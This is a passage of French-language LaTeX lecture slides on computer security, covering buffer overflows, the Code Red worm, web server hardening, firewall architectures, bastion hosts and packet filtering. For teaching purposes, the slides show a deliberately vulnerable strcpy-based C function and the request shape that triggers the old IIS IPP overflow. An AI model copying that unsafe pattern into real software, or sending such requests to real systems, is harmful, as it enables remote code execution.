carnet d'adresses \item Fait des destructions aléatoires \item \Attention{} Envoie des informations confidentielles à l'extérieur \end{itemizer} \LienPDF{http://www.cert.org/advisories/CA-2001-22.html} \end{trans} \begin{trans}{} \end{trans} \begin{trans}{Moteurs et bases d'exécution d'attaque} \LienPDF{http://metasploit.com} \begin{itemize} \item Plateforme libre pour développer, tester et utiliser des programmes d'attaque \item Permet de tester des systèmes de protection \begin{quote} The goal is to provide useful information to people who perform penetration testing, IDS signature development, and exploit research. This site was created to fill the gaps in the information publicly available on various exploitation techniques and to create a useful resource for exploit developers. The tools and information on this site are provided for legal security research and testing purposes only. \end{quote} \item Mais peut aussi être utilisé par des méchants... \end{itemize} \end{trans} \begin{trans}{Débordements de variables} \begin{multicols}{2} \begin{itemizer} \item Comment pirater des programmes anodins ? \item En faisant exécuter des instructions choisies par le pirate \item Comment ? Mettre plus de données que prévu dans une variable si le programme n'est pas trop regardant (flegme du programmeur ou du langage) \vavers{} comportement non prévu initialement \item Les variables d'un programme sont rangées séquentiellement dans la mémoire \psfiglarge{dessins/debordement_variables.idraw} On écrit dans \texttt{B} et \texttt{A} est aussi modifiée ! \end{itemizer} \end{multicols} \end{trans} \begin{trans}{Exemple de serveur WWW « buggué »} Le programmeur a fait une erreur. Laquelle ? \begin{alltt} \textbf{void} sauve_URL(\textbf{char} URL[]) \{ \textbf{char} URL_fournie[100]; strcpy(URL_fournie, URL); {\red \ding{63}} ... \} \textbf{void} serveur_WWW(\textbf{char} URL[]) \{ int taille; sauve_URL(URL); /* {\green ici} */ ... \} \end{alltt} \begin{itemizer} \item Au lieu d'utiliser \texttt{strncpy()}, il a utilisé \texttt{strcpy()} qui copie froidement sans tester la taille de la variable destination... \item \vavers{} \texttt{URL\_fournie} peut déborder ! \Attention \item On peut faire exécuter n'importe quelles instructions à distance en envoyant une requête \texttt{http://...} bien choisie \Attention \end{itemizer} \end{trans} \begin{trans}{Les fonctions se ramassent à l'appel} \begin{multicols}{2} \psfiglarge{dessins/structure_variables.idraw} En choisissant subtilement le contenu d'\texttt{URL} le pirate \begin{itemizer} \item fait déborder \texttt{URL\_fournie} \item remplace \texttt{ici} par \texttt{ailleurs} \item met ses propres instructions dans \texttt{URL\_fournie} \item lorsque \texttt{sauve\_URL} se termine l'exécution reprend en \texttt{ailleurs} au lieu d'\texttt{ici} !!! \end{itemizer} \psfiglarge{dessins/structure_variables_debordement.idraw} \end{multicols} \end{trans} \begin{trans}{Serveur WWW MicroSoft IIS} \begin{itemizer} \item Propose un service d'impression par \texttt{http://...} \item Géré par une bibliothèque \verb|:\WINNT\System32\msw3prt.dll| \item Problème : la version de mai 2001 contient un débordement dans la gestion du protocole Internet Printing Protocol (IPP) \begin{alltt} GET /NULL.printer HTTP/1.0 Host: \emph{tampon} \end{alltt} si tampon a une longueur $\approx$ 420 \end{itemizer} \vavers{} Exécution à distance de code avec les droits de \texttt{SYSTEM} \end{trans} \begin{trans}{Propagation du virus Code Red} \LienPDF{http://www.caida.org/analysis/security/code-red/} \begin{multicols}{2} \begin{itemizer} \item Exploite un débordement de tampon dans Windows IIS \item Choisit aléatoirement les adresses de machines à infecter \item Modifie les pages WWW des serveurs (« \emph{Hacked by Chinese} ») \end{itemizer} \psfiglarge{images/newframes-small-log.eps} \end{multicols} \LienPDF{http://www.caida.org/analysis/security/code-red/newframes-small-log.gif} \end{trans} \begin{trans}{Mieux contrôler la mémoire} \begin{itemize} \item Bien programmer avec des principes \smiley \item Utiliser des langages plus stricts au niveau de la mémoire (Java au lieu de C) \item Contrôler l'exécution de programmes (Purify...) \item Faire de l'analyse statique de programme pour détecter des bugs (problèmes indécidables, pointeurs...) \item Approches hybrides : exemple de CCured \begin{itemize} \item Programmeur rajoute des attributs aux pointeurs \begin{itemize} \item \verb|__SAFE| : référence vers une \emph{l-value}. Pas d'arithmétique dessus ou de cast \item \verb|__SEQ| : peut faire de l'arithmétique dessus, garde les bornes d'usage \item \verb|__WILD| : pointeur sauvage qui peut pointer vers n'importe quoi \vavers rajout par compilateur d'information sur chaque zone mémoire pointable \vavers coûteux \end{itemize} \item Utilise analyse statique : prouve que certaines zones sont correctes \item Compilateur rajoute des tests de non débordement là où échec de l'analyse statique \end{itemize} \LienPDF{http://www.cs.berkeley.edu/~necula/ccured} \end{itemize} \end{trans} \begin{trans}{Contre-mesures} \begin{itemizer} \item Jouer la carte sécuritaire \item Ne pas faire forcément comme tout le monde (tout MicroSoft n'est pas la solution la plus sécurisée) \item Sur les systèmes fragiles, avoir des anti-virus à jour faute de mieux \item \Attention\Attention\Attention Ne jamais exécuter du code étranger sans vérification ne serait-ce minimale (\texttt{.EXE}, \texttt{.COM}, \texttt{.VBS}, \texttt{.BIN}, \texttt{.BAT}, \texttt{.SCR}, \texttt{.LNK}, \texttt{.PIF},...) \item Vérifier les informations \item Il existe des solutions gratuites plus sécurisées \item Ne pas céder à la panique (difficile...) \item Se tenir informé(e) \LienPDF{https://www.clusif.asso.fr/fr/production/infovir/infovir01.asp} \LienPDF{https://www.clusif.asso.fr/fr/production/ouvrages/pdf/PanoCrim2k3-fr.pdf} \item Si on envoie un courriel infecté à \LienPDF{mailto:viruslab@trendmicro.fr} on reçoit un courriel de diagnostique \end{itemizer} \end{trans} \slidepart{Sécurisation serveur WWW} \begin{trans}{Sécurisation serveur commerce électronique} \begin{itemizer} \item Serveur de commerce électronique \begin{itemizet} \item Ordinateur \item Connexion Internet \item Serveur WWW, FTP, courriel, connexion à distance \item Système d'exploitation \item Divers logiciels \end{itemizet} \item Pas de point faible \vavers{} sécurisation à tous les niveaux \item Même si le serveur ne contient pas toutes les données de l'entreprise sa compromission est critique : image de marque, données clients,... \item Avoir toujours les versions à jour (ou alors carrément obsolètes ?...) \end{itemizer} \begin{multicols}{2} \begin{itemizer} \item Faire aussi face aux refus de service \item Comment faire faire face lorsque les temps de développement sont revus à la baisse ?... \item Programmeurs non formés à la sécurité en général... \item Formation par la bande dessinée ! CdV Entrevue N°17, 2000 \psfiglarge{ENSTBr/JARET/CdV-Entrevue-17/rk_jaret_linux_petit.eps} \end{itemizer} \end{multicols} \end{trans} \begin{trans}{Sécurisation serveur} \begin{itemizer} \item Ordinateur possédant plusieurs services \item Mettre en place le \emph{minimum} de services nécessaires : WWW, courriel,... \item \Attention{} Beaucoup de services lancés par défaut... \item Compromis à trouver entre fonctionnalités pratiques et trous de sécurité potentiels \item Bien configurer chaque service \item Vérifier le contrôle d'accès et l'authentification des utilisateurs (mots de passe,...)~: accès limités au minimum \item Bien définir les droits sous lesquels tournent les serveurs~: minimaux \item Bien cerner les fichiers accessibles par les différents serveurs~: minimaux. Si par \texttt{ftp} on peut modifier des fichiers du serveur WWW (\texttt{.htaccess}, CGI,...)... \item \Attention{} \LienPDF{http://directory.google.com/Top/Computers/Hacking/Exploits} : les attaquent existent \end{itemizer} \end{trans} \begin{trans}{Sécurisation serveur WWW} \begin{itemizer} \item Utilisation de pages WWW dynamiques : scripts CGI (Common Gateway Interface) à base de langages style \texttt{perl}, shell,... \item Usage de langages de script plutôt que des langages de programmation plus classique comme C : plus simples à mettre en place pour de petites applications, plus haut niveau \item \Attention{} Fonctions permettant d'accéder au système à partir des entrées (méta-caractères,...) si mal conçus \item \Attention{} Trou dans un CGI : passe à travers les pare-feux ! \begin{itemizet} \item Modification de fichiers locaux \item Envoi d'informations locales par courriel à des destinataires hostiles arbitraires \item Chargement et exécution de programmes d'espionnage ou de portes dérobées \item Refus de service par effondrement de la machine locale \item \vavers{} programmer proprement et bien vérifier : traiter tous les cas possibles et \Attention{} \emph{impossibles}, gérer les dépassements de capacité, les retours d'erreur, plus de place disque, plus de mémoire,... \item Faire vérifier ses programmes par d'\emph{autres} programmeurs \item Rajouter des assertions partout ou presque \item Faire une analyse statique simple : recherche de \texttt{system()}, \texttt{open()}, \texttt{popen()}, \texttt{eval()} et «~\texttt{` `}~» dans les scripts \texttt{perl} par exemple \end{itemizet} \item Limiter l'importance d'un trou en faisant tourner les CGI avec des droits minimaux (\texttt{nobody}) et en l'enfermant dans un répertoire (\texttt{chroot}) si possible \item Centralisation de tous les CGI et vérification par une instance spécifique \item Éliminer les CGI installés par défaut qui peuvent être des passoires \item Vérifier régulièrement que les CGI n'ont pas changé (stockage de leur signature MD5 ailleurs) \item Ne pas mettre trop d'options sur le serveur : compromis... \begin{itemizet} \item Affichage automatique du contenu d'un répertoire si pas de \texttt{index.html} : pratique mais si dans un répertoire sensible dont on veut cacher le contenu... \item SSI (\emph{Server Side Include}) permet d'exécuter des commandes citées dans des pages HTML. Pratique mais si on peut écrire une page HTML avec \begin{verbatim} \end{verbatim} \item Suivit des liens symboliques : plus une hiérarchie simple mais un tas de spaghetti difficile à cerner... \item Existence de répertoires de CGI personnels : l'administrateur ne sait plus où aller vérifier tout ce qui est rajouté \end{itemizet} \end{itemizer} \end{trans} \begin{trans}{Contrôle des accès} Besoin de spécialiser l'accès de l'information en fonction du client \begin{itemizer} \item Par nom de machine ou numéro IP : accès en Intranet par exemple \begin{itemizet} \item Accès de pages WWW réservées à telle machine \item \Attention{} Piratage de DNS \vavers{} au moins double vérification IP~$\to$~nom~$\to$~IP \item \Attention{} Possibilité d'usurper une adresse IP ou de pirater une machine autorisée \end{itemizet} \item Par utilisateur \& mot de passe \begin{itemizet} \item \Attention{} Éviter les mots de passe faibles. Si c'est le client qui choisit... \item Vérifier qu'il n'y a pas d'erreur par des tests... \item \Attention{} Mots de passe passant en clair sur le réseau \item Ne pas divulguer le fichier de mots de passe \item Fichier de mots de passe doit être chiffré de manière forte \item Possible de répartir les fichiers de contrôle d'accès dans les répertoires à protéger (\texttt{.htaccess},...). Plus simple pour l'utilisateur, cauchemar pour l'administrateur. \Attention{} Si bug permettant la récupération de ces fichiers... \item Si authentification ultérieure par \emph{cookies} pour éviter de redemander le mot de passe, revérifier au moins le numéro IP car les cookies passent en clair sur le réseau... \end{itemizet} \item Authentification forte par certificats \begin{itemizet} \item Protocole style SSL \item Chaque client doit demander un certificat à une entité officielle de certification \item \Attention{} Vol de son certificat \end{itemizet} \end{itemizer} \end{trans} \begin{trans}{Bases de données} \begin{itemizer} \item En général besoin d'une base de données pour stocker diverses informations \begin{itemizet} \item Liste de produits \item Liste de clients \item Transactions en cours \item Autorisations d'accès (fichier ou format DBM) \end{itemizet} \item Certaines bases de données ont une interface WWW \vavers{} hérite des problèmes inhérents \item \Attention{} Souvent options par défaut très libérales pour aider la mise en \oe{}uvre \item Bien cerner les accès aux différents domaines de la base de données pour l'extérieur mais aussi par service en interne à l'entreprise \item Encore une fois : éviter les mots de passe faciles \item Interfaces pour simplifier les CGI : \texttt{oraperl},... \end{itemizer} \end{trans} \slidepart{Internet} \begin{trans}{Réseaux et Internet} \begin{itemizer} \item Ubiquité : tout ce qui est fait sur une machine peut être fait sur un groupe de machines (Unix) \begin{itemizet} \item Terminaux virtuels distants (\texttt{rlogin}, \texttt{telnet}) \item Accès de fichiers à distance (NFS) \item Courrier électronique \item Annuaires distribués (DNS, \texttt{finger}, \texttt{whois}, \texttt{ph}, LDAP) \item Distribution du temps (NTP) \item Téléconférence (multidiffusion, MBone) \item Écrans distants (XWindowS version 11 Release 6) \item Remote Procedure Call (RPC), RMI, CORBA \item WWW (synonyme d'Internet par réduction...) \end{itemizet} \item Fait partie de la vie de tous les jours \item Trous de sécurité \vavers{} \emph{World Wide Bugs}... \end{itemizer} \end{trans} \slidepart{Pare-feu} \begin{trans}{Sécurisation réseau} \begin{itemizer} \item Gros site : trop de machines variées pour faire un sécurisation par machine \item \vavers{} approche centralisée plus simple : filtrage au niveau de l'accès réseau extérieur \item Goulet d'étranglement forçant le passage Internet par un \textbf{pare-feu} (\emph{firewall}) \item Ne laisse passer que ce qui est permis : courriel, FTP, connexion à distance,... \item Essaye d´éliminer les inconvénients d'Internet en gardant les bénéfices \item Pare-feu $\equiv$ un ou plusieurs matériels : routeurs et/ou ordinateurs avec différents logiciels \item Tenir le système à jour en fonction des nouvelles attaques à la mode \item Possible d'acheter un système clé en main ou d'en faire un soi-même. Utile d'avoir une expertise de toute manière pour la configuration d'un système clé en main \item Garde éventuellement des traces des transferts ou des attaques \item N'empêche pas une protection minimale des machines du réseau \item N'empêche pas une charte de sécurité interne \item \Attention{} Si accès Internet supplémentaire autre que par le pare-feu \item \Attention{} Pas de protection efficace contre les virus (cachés dans protocoles de trop haut niveau) car agit au niveau 3-4 OSI \item En cas de panne : bloquer tout plutôt que tout laisser passer. Multiplier les défenses pour limiter les problèmes de configuration erronée à un endroit \item \Attention{} Endroit de rêve pour un pirate pour espionner et contrôler ce qui passe par Internet... \item Tester régulièrement le système avec des tests d'intrusion \item Faire quelque chose de simple et de maîtrisable \end{itemizer} \end{trans} \begin{trans}{Découpage en zones} \begin{itemizer} \item Difficile de gérer machine par machine\\ \vavers{} définition de classes d'équivalence pour simplifier \item Regrouper les ordinateurs par population, applications \item Définir le niveau de sécurité requis pour chaque zone \item Définir les matrices de flux entre les différentes zones \item Rédiger les règles et en discuter avec ses collègues \end{itemizer} \end{trans} \begin{trans}{Permission optimiste ou pessimiste ?} \begin{itemizer} \item Interdire tout par défaut \begin{itemizet} \item Naturelle pour les administrateurs \item Dès qu'un nouveau service apparaît : bloqué ! \item Autorisation si utile après inspection et analyse des faiblesses et de leurs implications \vavers{} expertise même si système clé en main \item Nouveau trou de sécurité : plus de chance d'être bloqué \end{itemizet} \item Autoriser tout par défaut \begin{itemizet} \item Naturelle pour les utilisateurs : + de liberté \item Dès qu'un nouveau service apparaît : utilisation immédiate aussi bien client que serveur \item Nouveau trou de sécurité \vavers{} probablement exploitable \item \vavers{} Cauchemar des administrateurs \end{itemizet} \item Nécessité d'un bon charisme \end{itemizer} \end{trans} \begin{trans}{État} \begin{itemizer} \item Communication : souvent bidirectionnelle \item Question\ldots réponse \item Si accès très restreint, la réponse par exemple à une requête HTTP interne sera bloquée par la protection contre le monde extérieur\\ \vavers{} Ouvrir : \begin{itemizet} \item Baisser la protection extérieure \frownie \item Comprendre que c'est une réponse et laisser passer : gérer un état avec trace du passé \end{itemizet} \item Nécessite de garder des traces des connexions en cours\ldots\\ \Attention{} aux attaques par dénis de service\ldots \end{itemizer} \end{trans} \begin{trans}{Filtrage de paquets} \begin{itemizer} \item Par numéro IP source \item Par numéro IP destination \item Par protocole (TCP, UDP, ICMP, IGMP, IPIP,...) \item Par port ($\approx$ service) TCP ou UDP source \item Par port ($\approx$ service) TCP ou UDP destination \item Par type de message ICMP \item Par interface (interne, externe,...) en entrée ou en sortie \item Si début de connexion TCP \end{itemizer} Utile pour filtrer des services simplement associés à la notion de port : SMTP,... \LienPDF{http://ports.tantalo.net/index.php} \end{trans} \begin{trans}{Filtrage par mandataire} \begin{itemizer} \item Certains services ne sont pas simplement associés à un port : FTP, RPC, applications MBone,... \item Passer par un serveur intermédiaire sur le pare-feu qui accède au service distant : notion de \emph{proxy} (mandataire, délégué) \item Passerelle applicative \item Doit être transparent à l'utilisateur \item Restrictions et contrôle effectués par le mandataire \item Possibilité d'un niveau d'authentification supplémentaire au niveau du mandataire\\ Exemple : \texttt{telnet} intermédiaire sur le pare-feu avant telnet sur cible \item Mandataire à effet de bord positif : cache WWW pour tout un site \item \Attention{} \vavers{} Clients internes ne doivent pas communiquer directement avec serveurs extérieurs \item Problème : certains serveurs mandataires imposent d'avoir des clients mandataires aussi (SOCKS,...) \item Certains services sont difficilement délégables et filtrables... MBone \end{itemizer} \end{trans} \begin{trans}{Traduction d'adresse} Faire apparaître une machine avec une autre adresse \begin{itemizer} \item Fait sortir des machines avec adresses IP privées \RFC{1918} avec des adresses publiques \item Cache les vrais numéros IP derrière une adresse (ou plusieurs pour dépasser le nombre de ports/machine) \item Othogonal à la notion de pare-feu mais souvent associée \item Réalloue les ports de sortie pour éviter les conflits (unicité des connections) \item Problème : faire la traduction (IP local, port local) $\to$ (IP masquante, port masquant) en fonction de (IP destination, port destination). Comment savoir quand une traduction n'a plus de raison d'être si pas de fin explicite (UDP,...) ? Éliminer la traduction au bout d'un « certain » temps... \end{itemizer} \end{trans} \begin{trans}{Pare-feu avec machine à double réseau} \psfighautcentre{dessins/pare-feu-2-interfaces.idraw} \newslide \begin{itemizer} \item Ordinateur à 2 interfaces sur 2 réseaux différents \item Architecture simple \item Supprimer le routage entre les 2 réseaux \item Seuls possibilité de passer d'un réseau à l'autre : mandataires \item Se connecter sur une machine interne : se connecter d'abord sur le pare-feu \item \Attention{} Si le pare-feu est piraté, la sécurité disparaît : écoute du réseau,... \end{itemizer} \end{trans} \begin{trans}{Pare-feu avec machine filtrante} \psfighautcentre{dessins/pare-feu-hote-filtrant.idraw} \newslide \begin{itemizer} \item Seule connexion possible avec l'extérieur : le bastion \item Filtrage oblige à passer par les mandataires sur le bastion \item Filtrage par routeur : moins sujet à des piratages \vavers{} probablement plus sûr que l'approche machine à double réseau \item \Attention{} Si le bastion est piraté, la sécurité disparaît : écoute du réseau,... \end{itemizer} \end{trans} \begin{trans}{Pare-feu avec réseau périphérique de filtrage} \psfighautcentre{dessins/pare-feu-DMZ.idraw} \newslide \begin{itemizer} \item Pare-feux précédents : problème instantané si piratage du pare-feu car en contact avec le réseau interne \item Idée : isoler le bastion dans un réseau périphérique (DMZ : \emph{DeMilitarized Zone}) séparé du réseau interne \item Si piratage du bastion : encore difficile d'accéder au réseau interne \item Pas possible d'espionner le réseau interne depuis le bastion \item Possibilité de fusionner routeur extérieur avec bastion \item \Attention{} Ne pas fusionner bastion et routeur intérieur : si piratage bastion... \item Si DMZ connectée à plusieurs réseaux intérieurs, n'utiliser qu'un routeur interne : si plusieurs routeurs internes, du trafic interne pourrait passer par la DMZ et être espionné \end{itemizer} \end{trans} \begin{trans}{Pare-feu avec réseau périphérique et routeur unique} \psfighautcentre{dessins/pare-feu-routeur-DMZ.idraw} \newslide \begin{itemizer} \item Transparent pour les machines internes : le routeur détourne certains paquet vers le bastion \end{itemizer} \end{trans} \slidepart{Bastion} \begin{trans}{Bastion} \begin{itemizer} \item 1 ou plusieurs machines visibles depuis Internet \item Accueille les amis comme les ennemis \item Place fortifiée \item Faire simple pour être simple à sécuriser \item Prendre en compte dès le départ le piratage potentiel du bastion \item Avoir une procédure de reconstruction automatique du bastion \item Installer système d'exploitation minimal \item Un Unix de bonne facture est un bon choix car de nombreux outils disponibles pour Internet \item Pas besoin d'une puissance énorme : peut être une vieille machine \item Mémoire raisonnable pour éviter le swap tout en gardant trace de toutes les connexions et faire tourner tous les mandataires \item Besoins de plus de puissance si liaison rapide et services plus gourmand : WWW avec bases de données, News,... Répartir la charge sur plusieurs machines \item Utiliser un modèle de machine et de système d'exploitation déjà présent sur le site : développements du système, installation, maintenance,... \end{itemizer} \end{trans} \begin{trans}{Réalisation d'un bastion} \begin{itemizer} \item Partir d'un système standard \item Appliquer toutes les mises à jour de sécurité \item Mettre le minimum de services \item Désactiver les services inutiles pour le bastion \item Services sécurisables simplement par filtrage : ne passent pas par mandataire sur le bastion et n'apparaissent pas sur le bastion \item Mettre les services mandataires sur le bastion \item Installer les services peu sûrs sur une machine jetable \item Ne pas mettre de comptes utilisateurs \item Protéger les traces de fonctionnement \begin{itemizet} \item Consulter de manière routinière les fichiers sur le bastion \item Envoyer en plus une copie à une machine reliée par liaison série pour les coups durs \end{itemizet} \item Faire un audit sécurité avant de mettre en production \end{itemizer} \end{trans} \begin{trans}{Suppression de services Unix} \begin{itemizer} \item 2 sortes de serveurs : \begin{itemizet} \item Services lancés au démarrage : \texttt{/etc/rc}$x$\texttt{.d} \item À la demande par le super-démon \texttt{inetd} : \texttt{/etc/inetd.conf} \end{itemizet} \item En plus système de RPC (\emph{Remote Procedure Call}) : \texttt{rpcbind} ou \texttt{portmap} qui fait la traduction entre numéro du service RPC et le vrai port alloué sur la machine. \texttt{rpcinfo -p [\emph{machine}]} donne la liste des services RPC enregistrés \item Supprimer NFS (services RPC) : \texttt{nfsd}, \texttt{biod}, \texttt{mountd}, \texttt{statd}, \texttt{automountd},... \item Supprimer NIS : \texttt{ypbind}, \texttt{ypserv},... \item Supprimer services de démarrage : \texttt{tftpd}, \texttt{bootpd},... \item Supprimer la majorité des services via \texttt{inetd} \item Protéger les services \texttt{inetd} restant par système style TCP Wrapper \item Remplacer certains services utiles par des sous-services : \texttt{finger} permet d'avoir des informations sur les gens ayant des comptes sur la machine. Remplacer par un programme donnant seulement de l'information administrative sur le site. Dans \texttt{/etc/inetd.conf} : \begin{verbatim} finger stream tcp nowait nobody /bin/cat cat /etc/finger_info \end{verbatim} \item Suppression du routage (IP \emph{forwarding}) afin d'éviter que la machine serve de relais \item Suppression du routage IP par la source \end{itemizer} \end{trans} \begin{trans}{TCP Wrapper} \begin{itemizer} \item Contrôle l'exécution de serveurs lancés par \texttt{inetd} \item Modification des lignes d'\texttt{/etc/inetd.conf} pour lancer \texttt{tcpd} (TCP Wrapper) à la place de chaque serveur \vavers{} pas de modification d'\texttt{inetd} ou des serveurs \item \texttt{tcpd} lance les vrais serveurs une fois les vérifications faites \begin{itemizet} \item Paramétré par \texttt{/etc/hosts.allow} et \texttt{/etc/hosts.deny} \item Fait une vérification par adresse $\to$ nom $\to$ adresse \item Autorisation par service \item Par nom de la personne ayant la socket sur le client via IDENT (\RFC{931}) pour TCP mais attention aux mensonges \end{itemizet} \item Garde une trace de toutes les connexions via \texttt{syslog} \item Peut rajouter des bannières et des messages d'erreurs paramétrables \item \Attention{} Bien protéger tous les serveurs de \texttt{/etc/inetd.conf} \item \Attention{} Problème intrinsèque à UDP : pas de notion de fin de connexion \vavers{} un serveur UDP peut continuer de tourner après une requête autorisée et servir ensuite une requête qui aurait dû être interdite... \item \LienPDF{ftp://ftp.porcupine.org/pub/security/index.html} \end{itemizer} \end{trans} \slidepart{Filtrage paquets} \begin{trans}{Mise en place filtrage paquets} \begin{itemizer} \item Contrôle du passage des paquets selon une politique d'autorisation \item En général mis en place dans un routeur qui a en plus la tâche de faire suivre les paquets entre différents réseau : bon endroit pour faire du filtrage car point de passage \item Filtrage possible par adresses IP, ports ($\approx$~service), sens,... mais pas utilisateur, données de plus haut niveau (contenu, virus,...) \item 1 (gros) routeur filtrant suffit à filtrer tous les paquets d'un (gros) site : simplicité \item Indépendant des utilisateurs et des mandataires \item Interdiction à des faux paquets de partir sur Internet avec fausses sources \item Penser que les communications sont en général à double sens : bloquer un seul sens ne suffit pas (certaines attaques se passent des réponses) \item Certains services ne sont pas contrôlables par simple filtrage (RPC, \texttt{rsh}, \texttt{rlogin},...) \end{itemizer} \end{trans} \begin{trans}{Internet $\equiv$ IP} \begin{itemizec} \item Services basés sur IPv4 (aujourd'hui) \item Utilisation des protocoles \begin{itemizer} \item TCP (\emph{Transmission Control Protocol}) \begin{itemizet} \item Mode connecté point à point \item Bidirectionnel \item Système d'ordonnancement des paquets et de retransmission des paquets perdus \end{itemizet} \item UDP (\emph{User Datagram Protocol}) \begin{itemizet} \item Mode non connecté : pas de perte de temps à établir une connexion \item Plus fort débit \item Sans garantie \end{itemizet} \item ICMP (Internet Control Message Protocol) \begin{itemizet} \item Echo Reply (\texttt{ping}) \item Destination Unreachable : pas de route vers la destination \item Source Quench : encombrement \item Redirect : change une route (en route plus directe par exemple) \item Time Exceeded for a Datagram : TTL arrivé à 0 \item ... \end{itemizet} \item IGMP (\emph{Internet Group Management Protocol})~: distribution de routes et de groupes de multidiffusion (MBone) \item IPIP : encapsulation d'IP dans IP. Utilisé pour faire des tunnels (MBone). Sécurité normalement gérée par les gestionnaires de tunnels (\texttt{mrouted},...) \end{itemizer} \end{itemizec} \end{trans} \begin{trans}{IP} \begin{itemizer} \item Protocole de transport sur Internet \item Options spécifiques dans l'entête IP rarement utilisées sauf pour la mise au point et les... attaques \begin{itemizet} \item Option de routage par la source : définition d'un point de passage obligé pour les paquets à l'aller comme au retour. Idée contourner des tables de routage défaillante. En pratique : contourner des routeurs filtrants... \item Solution radicale efficace : supprimer tout paquet avec option(s) \end{itemizet} \item Fragmentation : certaines liaisons sur le parcours ne peuvent pas transmettre des paquets trop long (ne pas monopoliser une ligne/paquet trop longtemps...) \begin{itemizet} \item \vavers{} Système capable de fragmenter les paquets en cours de route \item Défragmentation à l'arrivée \item Attaque par refus de service : envoi de paquets IP avec des fragments manquants pour occuper les tampons de défragmentation en attente de paquet qui n'arriveront jamais \item Seul le premier fragment contient les informations sur le type de paquet. Si filtrage sur protocole (TCP, UDP,...), port, etc. filtrage \begin{itemizec} \item Du premier paquet seulement : laisse passer tous les autres fragments \vavers{} possible de faire une attaque par refus de service en entrée et faire sortir de l'information en entrées/sortie \vavers{} tunnel dans les fragments suivants sans log potentiel... \item De tous les paquets : système capable de suivre la fragmentation \end{itemizec} \end{itemizet} \item \Attention{} Ne pas laisser entrer des paquets forgés avec des adresses internes provenant de... l'extérieur \item Notion d'adresses de diffusions au niveau réseau : \Attention{} si paquet avec adresse source de diffusion, génération possible de tempêtes de diffusions... \item Sécurisation dans Unix : seul \texttt{root} à le droit d'ouvrir une socket de numéro~$<1024$ (ports privilégiés) \begin{itemizet} \item Évite qu'un pirate non \texttt{root} établisse un faux serveur de login en entrée pour capturer les mots de passes \item Authentification rudimentaire : si on reçoit un paquet \emph{d'une machine Unix} et d'un port privilégié c'est que cela vient de \texttt{root} \end{itemizet} \end{itemizer} \end{trans} \begin{trans}{RFC 3514 -- extension sécurisée pour IP} \begin{itemizer} \item Idées\ \begin{itemizet} \item Rajouter bit E (\emph{evil}) dans entête pour dire si un paquet est méchant ou pas \item Filtrage dans un parefeu simplifié : mettre tout paquet étiqueté méchant à la poubelle \item Pirate implémentant le RFC : doit mettre bit E à 1 via une API spécifique \end{itemizet} \item \RFC{3514} du 1$^{\text{er}}$ avril 2003 \end{itemizer} \end{trans} \begin{trans}{TCP/IP} \begin{itemizer} \item Liaison bidirectionnelle entre une machine d'origine (IP,port) et une machine destination (IP,port) \item Connexion différente si couples diffèrent \item En particulier plusieurs connexions sur un même port d'une même machine. Exemple HTTP sur port 80 \item Données découpée en segments avec un numéro de séquence (position du premier octet du segment dans le flux) et un numéro d'acquittement (octet reçu jusqu'à cette position) \item Retransmission de segment si pas reçu d'acquittement au bout d'un certain temps \item Destruction de tout segment reçu avec somme de vérification incorrecte \item Établissement de la connexion \begin{itemizet} \item Envoyeur envoie un segment avec le drapeau SYN (\emph{Synchronize Sequence Number}) et un numéro de séquence aléatoire qui servira d'origine depuis l'envoyeur \item Destinataire envoie un segment avec le drapeau ACK (\emph{Acknoledgement}) et le drapeau SYN avec un numéro de séquence qui servira d'origine depuis le destinataire \end{itemizet} \item Chaque paquet ensuite envoyé contient le drapeau ACK pour acquitter en même temps les paquets reçus \item Pour éviter trop d'attente d'acquittement, chaque paquet a un champ fenêtre indiquant le nombres d'octets qu'on peut envoyer en avance sans attendre d'acquittement. Si fenêtre à 0 : gel de la transmission \item Adaptation de la fenêtre au taux d'erreur et à la congestion \item Empêcher des connexions TCP : éliminer simplement le paquet de connexion (SYN sans ACK) \item Autorisation des connexions dans un sens (par exemple intérieur vers extérieur) en fonction du sens du premier paquet avec SYN sans ACK (règle de filtrage de type \texttt{ack} ou \texttt{established}) \item Forgeage de paquets : injecter des paquets avec les bons couples (IP,port) mais aussi les bons numéros de séquence \vavers{} numéro de séquence aléatoire au début. Probabilité $×2^{-32}$ %% Fin par drapeau FIN \item Des comportements subtils sur les cas limites servent de signature des implémentations de IP... Fuite d'informations pour une attaque spécifique \end{itemizer} \end{trans} \begin{trans}{UDP} \begin{itemizer} \item Mode non connecté : pas de perte de temps à établir une connexion \item Unidirectionnel entre origine (IP,port) et une destination (IP,port) \item Simple \item Mode de diffusion et multi-diffusion \vavers{} attention aux paquets avec comme source des adresses de diffusion ! \item Plus fort débit \item Sans garantie : peut ne pas arriver ou au contraire en plusieurs exemplaires \item Simple à forger : injecter un paquet avec les 2 couples (IP,port) adéquats \item Applications avec communications bidirectionnelles : renvoyer des paquets dans l'autre sens. Nécessite d'ouvrir un passage subséquent dans le sens (IP destination,port destination) $\to$ (IP origine,port origine) momentanément \end{itemizer} \end{trans} \begin{trans}{RPC} \begin{itemizer} \item 64K ports UDP et TCP associés à des services bien connus par IANA \item Insuffisant pour tous les services imaginables \vavers{} service d'annuaire transformant un numéro de service RPC 32~bits en port UDP ou TCP : \texttt{portmap} ou \texttt{rpcbind} \item Chaque serveur RPC lancé \emph{localement} s'inscrit via le port TCP 111 pour enregistrer son port \item NFS en général sur UDP et TCP 2049 \item Les clients interrogent \texttt{portmap}/\texttt{rpcbind} pour un service RPC donné pour avoir le port serveur TCP ou UDP à contacter \item Problème de filtrage : difficile de connaître les ports à contrôler \item Par contre une attaque peut essayer les 64K ports rapidement jusqu'à tomber sur un service connu \item Nécessite une interaction entre le filtre et \texttt{portmap}/\texttt{rpcbind} \item Bloquer NFS et NIS en RPC : tous les 2 en UDP \vavers{} bloquer tout UDP sauf quelques services non RPC (DNS) \end{itemizer} \end{trans} \begin{trans}{Écriture de règles de filtrage} \begin{itemizer} \item Écrire les règles dans un fichier de configuration plutôt que de manière incrémentale sur le routeur \item Règles exécutées \emph{dans l'ordre} : recharger (\texttt{tftp}) à chaque fois \emph{tout} le fichier pour éviter des problèmes \item Utiliser des adresses IP plutôt que des noms : évite attaques DNS et des étreintes mortelles (DNS filtré par nom...) \item Possibilité de garder une trace des paquets refusés ou acceptés \end{itemizer} \end{trans} \begin{trans}{Filtrage par adresse} \begin{itemizer} \item Empêcher des paquets avec source interne falsifiée de rentrer \item Altruisme : empêcher des paquets de sortir avec une adresse non locale \item Faire confiance à certaines machines extérieures. \Attention{} adresses sources falsifiées \end{itemizer} Exemple sur Cisco : \begin{verbatim} interface Ethernet0 ip address 194.214.157.2 